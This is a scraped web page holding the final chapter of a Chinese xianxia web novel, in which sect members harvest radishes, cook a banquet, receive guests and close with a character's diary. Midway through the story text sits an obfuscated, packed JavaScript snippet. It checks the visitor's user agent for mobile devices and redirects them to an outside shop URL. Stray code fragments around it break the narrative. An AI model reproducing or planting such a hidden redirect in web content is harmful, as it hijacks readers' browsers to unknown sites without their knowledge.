默认冷灰
24号文字
方正启体

32. 萝卜宴

作者:沫蝉本书字数:K更新时间:
    两个月的时间,说长不长,说短不短。


    长到足够宋栀子又炸了十几次厨房、五次茅房、三次柴房,以及一次她自己也说不清是什么的地方。


    短到宋栀子还没把那盒沈彻送的糖吃完,徐修那坛千年陈酿还没见底,安然新种的那片茶园才刚刚冒芽。


    但有一个数字是确定的——萝卜熟了。


    那天早上,穆惇蹲在灵田边,看着那片绿油油的萝卜叶,嘴角弯了弯。那弧度很浅,浅到几乎看不出来,但跟在她身后的沈彻看见了。


    他刚要喊“穆师姐笑了”,就被穆惇回头看了一眼,那一眼平平无奇,却让他硬生生把话咽了回去。


    “我没笑。”穆惇说。


    沈彻提前三天就来了,说是要帮忙,但祁幻觉得他纯粹是想多吃几顿。毕竟这两个月里,沈彻来蹭饭的频率已经从“隔三差五”变成了“几乎每天”,有时候甚至干脆住下来,第二天蹭完早饭再走。典星河问过他为什么,他回答得理直气壮:“因为穆师姐做的饭好吃,而且热闹。”


    热闹倒是真的。院子里那群人从早闹到晚,连带着沈彻也跟着忙前忙后。这次穆惇分配任务的时候,他挽起袖子,干劲十足地喊了一声“好嘞”,然后就被派去拔萝卜了。


    拔萝卜这件事,看着简单,做起来却不容易。


    沈彻蹲在田里,双手握住萝卜叶子,深吸一口气,用力一拔——萝卜纹丝不动。他换了个姿势,整个人都快趴在地上了,那萝卜还是纹丝不动。


    穆惇走过来,看了他一眼,那眼神里写满了“你是不是傻”,然后伸出手,轻轻一提,萝卜就出来了,干干净净,整整齐齐,连土都没沾多少。


    “用力不对,”她说,“要用巧劲。”


    沈彻若有所思地点点头,接下来的时间里,他在不断摸索中被穆惇用那种眼神看了无数次,居然真的慢慢找到了窍门。


    一个时辰后,他抱着满满一筐萝卜,笑得像个傻子,穆惇看了他一眼,说了句“还行”,他就高兴得差点蹦起来。


    萝卜拔完了,接下来是洗萝卜。


    沈彻主动请缨,蹲在水盆边把萝卜一个个放进去认真地搓洗。洗着洗着他发现问题了——“穆师姐,这萝卜怎么有的红有的白?”穆惇走过来看了一眼,说“品种不同,红的甜,白的脆”。


    他又指着另一根歪七扭八的萝卜问“这根怎么是歪的”。


    穆惇沉默了一秒,说“它想长什么样,就长什么样”。


    沈彻愣了一下,然后把那根歪萝卜也洗得干干净净,和那些端正的萝卜放在一起。


    洗完了就是切萝卜。穆惇亲自操刀,刀法利落,几刀下去一根萝卜就变成了均匀的薄片。


    沈彻在旁边看得眼睛都直了,忍不住问能不能试试。穆惇看了他一眼,那一眼里他读出了很多内容,但还是硬着头皮说“就试一下”。


    接过刀,深吸一口气,对着那根萝卜切下去——第一刀歪了,第二刀厚了,第三刀切到一半萝卜滚了。


    他手忙脚乱地去抓,差点把刀扔出去,抬起头尴尬地看着穆惇。


    穆惇接过刀,把他切的那几片萝卜拿起来看了看,说“可以煮汤”。


    沈彻愣了愣,问“那也算有用”,穆惇点点头,说“算”。


    傍晚的时候,厨房里飘出了浓郁的香气。穆惇站在灶台前,一锅萝卜汤正在咕嘟咕嘟地冒着热气,旁边还摆着几道菜——萝卜炖肉、清炒萝卜丝、凉拌萝卜皮,还有一盆萝卜馅的饺子正在包。


    宋栀子坐在旁边认真地捏着饺子皮,包的饺子形状各异,有的像元宝,有的像小船,有的祁幻走过来看了半天也认不出是什么。


    宋栀子眨眨眼说那是兔子,祁幻看了看那个形状诡异的“兔子”,决定不再追问。


    牧殇也在帮忙,把包好的饺子一个个整整齐齐地摆在盘子里,摆着摆着就开始跟饺子说话,让它们待会儿下了锅别散。


    沈彻负责烧火,坐在灶前往里面添柴,添着添着开始跟火苗聊天,让火大一点别太小。


    沈念在旁边帮忙递东西,一脸无奈地看着这两个话痨。


    安然在院子里摆桌子,徐修在旁边喝酒监工,典星河躺在摇椅上看着这一切,嘴角一直弯着。


    归尘蹲在歪脖子树下嗑着瓜子,看着院子里忙忙碌碌的众人。夕阳把整个院子染成暖橙色,炊烟袅袅升起,和晚霞混在一起。


    太阳快落山的时候,山门外来了一个人。祁幻抬头一看,愣住了——是沈惊鸿。


    他站在山门口,手里提着一个礼盒,说是听说今天办萝卜宴,来凑个热闹。


    祁幻还没反应过来,山门外又来人了,栖云子和凤栖并肩走来,凤栖手里也提着一个礼盒,栖云子抱着一坛酒,说不请自来别介意。紧接着又出现了一个沈家的随从,双手捧着一个精致的食盒,说沈家老祖腿脚不便就不亲自来了,但心意要到。


    祁幻看着这突然冒出来的客人,整个人都是懵的。典星河从摇椅上坐起来,慢悠悠地走过来,看了一眼那几个人,说了句“来都来了,坐吧”。


    天黑了,院子里的灯点了起来。宋栀子的不灭灯挂在亭子里,把整个院子照得亮堂堂的。桌子摆好了,菜上齐了,饺子下锅了,酒倒满了。


    一圈人围坐在桌边,挤得满满当当——穆惇、牧殇、祁幻、宋栀子、安然、徐修、归尘、典星河、沈念、沈彻、沈惊鸿、栖云子、凤栖,还有一个沈家的随从被沈彻拉着不肯走,也坐下来一起吃了。


    十四个人,把那张桌子围得密不透风。


    牧殇端起酒杯站起来,说今天是萝卜宴,先敬穆师姐一杯。


    众人举杯,穆惇看了他一眼,“话多。”


    牧殇笑了,说那是当然,不然怎么当导游。


    沈惊鸿坐在穆惇旁边,夹了一块萝卜炖肉尝了一口,说好吃。


    栖云子和凤栖坐在一起,凤栖负责给他夹菜,栖云子负责吃,两人配合默契,看得旁边的沈彻一愣一愣的。


    他小声问你们平时都这样,凤栖看了他一眼笑得意味深长,说习惯了。


    徐修和安然坐在归尘旁边,三个人一边吃一边喝酒,偶尔说几句话,大部分时候只是安静地听着周围的热闹。


    沈念坐在归尘另一边,时不时给他添点菜,归尘也不推辞,夹起来慢慢吃。


    饺子出锅了,热气腾腾地被端上桌,白白胖胖的挤在盘子里。


    宋栀子包的“兔子”也在里面,煮熟之后形状更加抽象,但没有人指出来。穆惇夹起一个饺子咬了一口,萝卜馅的,鲜甜。


    她嚼了嚼,忽然愣了一下。牧殇看着她问怎么了,她摇摇头说没什么,就是想起一个人。


    牧殇沉默了一瞬,然后笑了,说她也喜欢吃萝卜饺子。穆惇点点头,两人没有再说话,但嘴角都弯着。


    宋栀子眨眨眼看了看他们,忽然说那个人一定也很可爱。


    牧殇愣了一下问,“你怎么知道?”


    宋栀子歪着头说:“因为你们想起她的时候都在笑啊”。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387693|200271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    牧殇沉默了,然后伸出手在她脑袋上揉了揉,宋栀子躲开他的手。


    众人笑了,笑声飘荡在院子里。


    热闹渐渐平息下来,众人吃得差不多了,酒也喝得差不多了,都靠在椅子上懒洋洋地聊着天。


    典星河忽然站起来,说给大家算一卦吧。所有人都愣住了——这是她鲜少的一次主动说要算卦。


    归尘抬起头,看着她。


    典星河伸出手,轻轻掐指。指尖开始发光,那光芒越来越亮,越来越烫,烫得她指尖发疼,但她没有停。她闭上眼,三息之后睁开眼,笑了。


    “我算到,”她说,“明年这个时候,我们还能坐在一起吃饺子。”


    穆惇愣了一下,然后低下头,用袖子擦了擦眼睛。牧殇看着她问师姐你怎么哭了,穆惇抬起头面无表情地说萝卜辣眼睛。


    宋栀子凑过来认真地看着她说大师姐萝卜是熟的不辣,穆惇看了她一眼说那就是你包的饺子太难看辣眼睛。


    宋栀子噎住了,众人笑成一团,笑声飘荡在院子里,飘荡在月光下,飘荡在每一个人心里。


    归尘坐在角落,看着这一切,嘴角弯着。典星河从人群里挤出来,走到他旁边在他身边蹲下,从怀里掏出一颗糖递给他。


    两人一起看着那群热闹的人。


    夜深了,客人陆续散去。沈惊鸿走的时候对穆惇说下次论剑再打一场,穆惇点点头说好。


    栖云子和凤栖走的时候对典星河说下次去青云宗坐坐。沈家的随从被沈彻送走了,临走时还念叨着萝卜真好吃。


    最后只剩下躺平宗的人。他们围坐在院子里,谁也不肯去睡。宋栀子靠着安然眼皮已经开始打架,安然把外衣脱下来给她披上。牧殇还在和沈念聊天,声音越来越小。


    祁幻抱着账本一笔一笔地记着今天的账。穆惇坐在旁边望着月亮。典星河躺在摇椅上慢悠悠地晃着。归尘蹲在树下看着他们。


    画外音响起,是典星河的声音。


    “有人说,躺平宗的护山大阵常年不开,是因为穷。其实不是。是因为我们不需要。有他们在的地方,就是最安全的阵。”


    月光还亮着。


    突然传来祁幻的声音——等等,你们谁洗碗?


    牧殇的声音懒洋洋地响起,我来讲个洗碗的故事助兴。


    宋栀子迷迷糊糊地接话,师兄,洗碗不需要故事。


    穆惇的声音平静得像一潭水,“明天洗。”


    典星河的声音同样平静,“同意。”


    “你们——!!!”


    笑声还在飘荡。


    【沈彻日记·其九】


    某年某月某日月圆


    今天是萝卜宴。


    我提前三天就来帮忙了,拔萝卜、洗萝卜、切萝卜、烧火,什么都干。穆师姐说我拔萝卜用力不对,但我最后还是拔了不少。她看了我一眼,说“还行”。我觉得这已经是很高的评价了。


    晚上来了好多人。沈惊鸿来了,栖云子和凤栖来了,老祖还派人送了礼。十四个人围在一起吃饭,热闹得不行。


    典星河算了一卦。她说,明年这个时候,我们还能一起吃饺子。


    最后要走的时候,我突然不想走。


    但我想,反正明天还能来。后天也能来。大后天也能来。


    反正他们会一直在。


    反正我也会一直在。


    (今天真是个好日子。)


    (明天还来。)


    ————全文完————
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)